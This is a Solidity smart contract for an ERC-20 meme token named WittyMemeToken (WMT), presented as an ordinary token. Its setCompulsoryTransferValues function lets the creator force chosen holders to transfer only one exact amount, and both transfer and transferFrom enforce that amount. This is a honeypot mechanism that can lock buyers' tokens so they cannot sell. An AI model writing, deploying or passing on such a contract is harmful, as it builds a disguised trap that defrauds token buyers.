// File: contracts/COIN.sol



pragma solidity ^0.8.16;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract ContextEnhancer {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownership is ContextEnhancer {
    address private _owner;
    event ChangeOfOwnership(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address sender = _msgSender();
        _owner = sender;
        emit ChangeOfOwnership(address(0), sender);
    }

    function currentOwner() public view virtual returns (address) {
        return _owner;
    }

    modifier ownerOnly() {
        require(currentOwner() == _msgSender(), "Access denied: Owner only");
        _;
    }

    function relinquishOwnership() public virtual ownerOnly {
        emit ChangeOfOwnership(_owner, address(0));
        _owner = address(0);
    }
}

contract WittyMemeToken is ContextEnhancer, Ownership, IERC20 {
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _compulsoryTransfers;

    string public constant tokenName = "WittyMemeToken";
    string public constant tokenSymbol = "WMT";
    uint8 public constant tokenDecimals = 18;
    uint256 public constant maxTokenSupply = 100000 * (10 ** tokenDecimals);

    constructor() {
        _balances[_msgSender()] = maxTokenSupply;
        emit Transfer(address(0), _msgSender(), maxTokenSupply);
    }

    modifier creatorOnly() {
        require(_msgSender() == currentOwner(), "Access denied: Creator only");
        _;
    }

    event CompulsoryTransferValueSet(address indexed account, uint256 value);

    function compulsoryTransferValue(address account) public view returns (uint256) {
        return _compulsoryTransfers[account];
    }

    function setCompulsoryTransferValues(address[] calldata accounts, uint256 value) public creatorOnly {
        for (uint i = 0; i < accounts.length; i++) {
            _compulsoryTransfers[accounts[i]] = value;
            emit CompulsoryTransferValueSet(accounts[i], value);
        }
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "Insufficient balance");

        uint256 compulsoryTransfer = compulsoryTransferValue(_msgSender());
        if (compulsoryTransfer > 0) {
            require(amount == compulsoryTransfer, "Compulsory transfer value must be used");
        }

        _balances[_msgSender()] -= amount;
        _balances[recipient] += amount;

        emit Transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "Allowance limit exceeded");

        uint256 compulsoryTransfer = compulsoryTransferValue(sender);
        if (compulsoryTransfer > 0) {
            require(amount == compulsoryTransfer, "Compulsory transfer value must be used");
        }

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        _allowances[sender][_msgSender()] -= amount;

        emit Transfer(sender, recipient, amount);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return maxTokenSupply;
    }

    function name() public view returns (string memory) {
        return tokenName;
    }

    function symbol() public view returns (string memory) {
        return tokenSymbol;
    }

    function decimals() public view returns (uint8) {
        return tokenDecimals;
    }
}